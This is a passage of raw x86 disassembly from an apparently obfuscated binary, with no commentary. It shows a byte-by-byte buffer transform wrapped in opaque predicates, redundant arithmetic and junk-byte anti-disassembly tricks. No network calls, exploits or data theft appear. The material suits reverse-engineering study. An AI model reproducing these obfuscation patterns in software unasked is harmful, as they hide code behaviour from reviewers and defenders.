movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47e825
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x70c], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x70c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x710], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x710]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x714], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x714]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47e823
mov dword [esp + 0x1c38], 6
jmp 0x47e950
jmp 0x47e825
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x700], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x700]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x708], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x704], eax
call fcn.004347c0
mov ecx, dword [esp + 0x704]
mov dl, al
mov eax, dword [esp + 0x708]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47e94e
movsd xmm0, qword [esp + 0x1c28]
movsd qword [esp + 0x6f0], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x6e8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x6e8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6fc], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x6ec], eax
call fcn.004347c0
mov ecx, dword [esp + 0x6ec]
movsd xmm0, qword [esp + 0x6f0]
mov dl, al
mov eax, dword [esp + 0x6fc]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c38], eax
jmp 0x47e950
ud2
mov eax, dword [esp + 0x718]
mov ecx, dword [esp + 0x1c38]
add eax, ecx
mov dword [esp + 0x6d4], eax
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x6d8], eax
mov dword [esp + 0x1c1c], 0x40548000
mov dword [esp + 0x1c18], 0
xor eax, eax
je 0x47e99b
add dl, dh
movups xmm0, xmmword [esp + 0x1c18]
movsd xmm0, qword [esp + 0x1c18]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c10], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x6dc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x6dc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6e4], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x6e0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x6e0]
mov dl, al
mov eax, dword [esp + 0x6e4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47eac7
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x6c8], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x6c8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6cc], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x6cc]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x6d0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x6d0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47eac5
mov dword [esp + 0x1c24], 6
jmp 0x47ebf2
jmp 0x47eac7
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x6bc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x6bc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6c4], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x6c0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x6c0]
mov dl, al
mov eax, dword [esp + 0x6c4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ebf0
movsd xmm0, qword [esp + 0x1c10]
movsd qword [esp + 0x6b0], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x6a8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x6a8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6b8], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x6ac], eax
call fcn.004347c0
mov ecx, dword [esp + 0x6ac]
movsd xmm0, qword [esp + 0x6b0]
mov dl, al
mov eax, dword [esp + 0x6b8]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c24], eax
jmp 0x47ebf2
ud2
mov eax, dword [esp + 0x6d4]
mov ecx, dword [esp + 0x6d8]
and ecx, dword [esp + 0x1c24]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
mov byte [eax + ecx], dl
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x69c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x69c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6a4], eax
call fcn.004347b0
movsx eax, al
imul eax, eax, 5
mov dword [esp + 0x6a0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x6a0]
mov dl, al
mov eax, dword [esp + 0x6a4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fe01
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x690], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x690]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x694], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x694]
movsx ecx, cl
shl ecx, 2
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x698], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x698]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f25e
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x680], eax
mov dword [esp + 0x1c04], 0x4054c000
mov dword [esp + 0x1c00], 0
xor eax, eax
je 0x47ed39
add dl, dh
movups xmm0, xmmword [esp + 0x1c00]
movsd xmm0, qword [esp + 0x1c00]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1bf8], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x684], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x684]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x68c], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x688], eax
call fcn.004347c0
mov ecx, dword [esp + 0x688]
mov dl, al
mov eax, dword [esp + 0x68c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ee65
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x674], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x674]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x678], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x678]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x67c], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x67c]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ee63
mov dword [esp + 0x1c0c], 6
jmp 0x47ef90
jmp 0x47ee65
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x668], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x668]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x670], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x66c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x66c]
mov dl, al
mov eax, dword [esp + 0x670]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47ef8e
movsd xmm0, qword [esp + 0x1bf8]
movsd qword [esp + 0x658], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x650], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x650]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x664], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x654], eax
call fcn.004347c0
mov ecx, dword [esp + 0x654]
movsd xmm0, qword [esp + 0x658]
mov dl, al
mov eax, dword [esp + 0x664]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c0c], eax
jmp 0x47ef90
ud2
mov eax, dword [esp + 0x680]
mov ecx, dword [esp + 0x1c0c]
add eax, ecx
mov dword [esp + 0x63c], eax
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x640], eax
mov dword [esp + 0x1bec], 0x4054c000
mov dword [esp + 0x1be8], 0
xor eax, eax
je 0x47efdb
add dl, dh
movups xmm0, xmmword [esp + 0x1be8]
movsd xmm0, qword [esp + 0x1be8]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1be0], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x644], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x644]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x64c], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x648], eax
call fcn.004347c0
mov ecx, dword [esp + 0x648]
mov dl, al
mov eax, dword [esp + 0x64c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f107
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x630], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x630]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x634], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x634]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x638], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x638]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f105
mov dword [esp + 0x1bf4], 6
jmp 0x47f232
jmp 0x47f107
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x624], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x624]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x62c], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x628], eax
call fcn.004347c0
mov ecx, dword [esp + 0x628]
mov dl, al
mov eax, dword [esp + 0x62c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f230
movsd xmm0, qword [esp + 0x1be0]
movsd qword [esp + 0x618], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x610], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x610]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x620], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x614], eax
call fcn.004347c0
mov ecx, dword [esp + 0x614]
movsd xmm0, qword [esp + 0x618]
mov dl, al
mov eax, dword [esp + 0x620]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1bf4], eax
jmp 0x47f232
ud2
mov eax, dword [esp + 0x63c]
mov ecx, dword [esp + 0x640]
and ecx, dword [esp + 0x1bf4]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
mov byte [eax + ecx], dl
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x604], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x604]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x608], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x608]
movsx ecx, cl
imul ecx, ecx, 9
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x60c], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x60c]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f825
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x5f4], eax
mov dword [esp + 0x1bd4], 0x40550000
mov dword [esp + 0x1bd0], 0
xor eax, eax
je 0x47f300
add dl, dh
movups xmm0, xmmword [esp + 0x1bd0]
movsd xmm0, qword [esp + 0x1bd0]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1bc8], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x5f8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x5f8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x600], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x5fc], eax
call fcn.004347c0
mov ecx, dword [esp + 0x5fc]
mov dl, al
mov eax, dword [esp + 0x600]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f42c
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x5e8], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x5e8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5ec], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x5ec]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x5f0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x5f0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f42a
mov dword [esp + 0x1bdc], 6
jmp 0x47f557
jmp 0x47f42c
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x5dc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x5dc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5e4], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x5e0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x5e0]
mov dl, al
mov eax, dword [esp + 0x5e4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f555
movsd xmm0, qword [esp + 0x1bc8]
movsd qword [esp + 0x5d0], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x5c8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x5c8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5d8], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x5cc], eax
call fcn.004347c0
mov ecx, dword [esp + 0x5cc]
movsd xmm0, qword [esp + 0x5d0]
mov dl, al
mov eax, dword [esp + 0x5d8]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1bdc], eax
jmp 0x47f557
ud2
mov eax, dword [esp + 0x5f4]
mov ecx, dword [esp + 0x1bdc]
add eax, ecx
mov dword [esp + 0x5b4], eax
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x5b8], eax
mov dword [esp + 0x1bbc], 0x40550000
mov dword [esp + 0x1bb8], 0
xor eax, eax
je 0x47f5a2
add dl, dh
movups xmm0, xmmword [esp + 0x1bb8]
movsd xmm0, qword [esp + 0x1bb8]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1bb0], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x5bc], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x5bc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5c4], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x5c0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x5c0]
mov dl, al
mov eax, dword [esp + 0x5c4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f6ce
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x5a8], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x5a8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5ac], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x5ac]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x5b0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x5b0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f6cc
mov dword [esp + 0x1bc4], 6
jmp 0x47f7f9
jmp 0x47f6ce
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x59c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x59c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5a4], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x5a0], eax
call fcn.004347c0
mov ecx, dword [esp + 0x5a0]
mov dl, al
mov eax, dword [esp + 0x5a4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f7f7
movsd xmm0, qword [esp + 0x1bb0]
movsd qword [esp + 0x590], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x588], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x588]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x598], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x58c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x58c]
movsd xmm0, qword [esp + 0x590]
mov dl, al
mov eax, dword [esp + 0x598]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1bc4], eax
jmp 0x47f7f9
ud2
mov eax, dword [esp + 0x5b4]
mov ecx, dword [esp + 0x5b8]
and ecx, dword [esp + 0x1bc4]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
mov byte [eax + ecx], dl
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x57c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x57c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x584], eax
call fcn.004347b0
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x580], eax
call fcn.004347c0
mov ecx, dword [esp + 0x580]
mov dl, al
mov eax, dword [esp + 0x584]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fdff
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x56c], eax
mov eax, dword [esp + 0x1b48]
add eax, 0x51
cvtsi2sd xmm0, eax
movsd qword [esp + 0x1ba0], xmm0
xor eax, eax
je 0x47f8d3
add dl, dh
movups xmm0, xmmword [esp + 0x1ba0]
movsd xmm0, qword [esp + 0x1ba0]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1b98], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x570], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x570]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x578], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x574], eax
call fcn.004347c0
mov ecx, dword [esp + 0x574]
mov dl, al
mov eax, dword [esp + 0x578]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f9ff
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x560], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x560]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x564], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x564]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x568], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x568]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47f9fd
mov dword [esp + 0x1bac], 6
jmp 0x47fb2a
jmp 0x47f9ff
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x554], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x554]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x55c], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x558], eax
call fcn.004347c0
mov ecx, dword [esp + 0x558]
mov dl, al
mov eax, dword [esp + 0x55c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fb28
movsd xmm0, qword [esp + 0x1b98]
movsd qword [esp + 0x548], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x540], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x540]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x550], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x544], eax
call fcn.004347c0
mov ecx, dword [esp + 0x544]
movsd xmm0, qword [esp + 0x548]
mov dl, al
mov eax, dword [esp + 0x550]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1bac], eax
jmp 0x47fb2a
ud2
mov eax, dword [esp + 0x56c]
movsx ecx, byte [esp + 0x1bac]
add eax, ecx
mov dword [esp + 0x52c], eax
mov eax, dword [esp + 0x1b4c]
mov ecx, dword [esp + 0x1b48]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x530], eax
mov eax, dword [esp + 0x1b48]
add eax, 0x51
cvtsi2sd xmm0, eax
movsd qword [esp + 0x1b88], xmm0
xor eax, eax
je 0x47fb77
add dl, dh
movups xmm0, xmmword [esp + 0x1b88]
movsd xmm0, qword [esp + 0x1b88]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1b80], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x534], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x534]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x53c], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x538], eax
call fcn.004347c0
mov ecx, dword [esp + 0x538]
mov dl, al
mov eax, dword [esp + 0x53c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x47fca3
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x520], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x520]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x524], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x524]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x528], eax
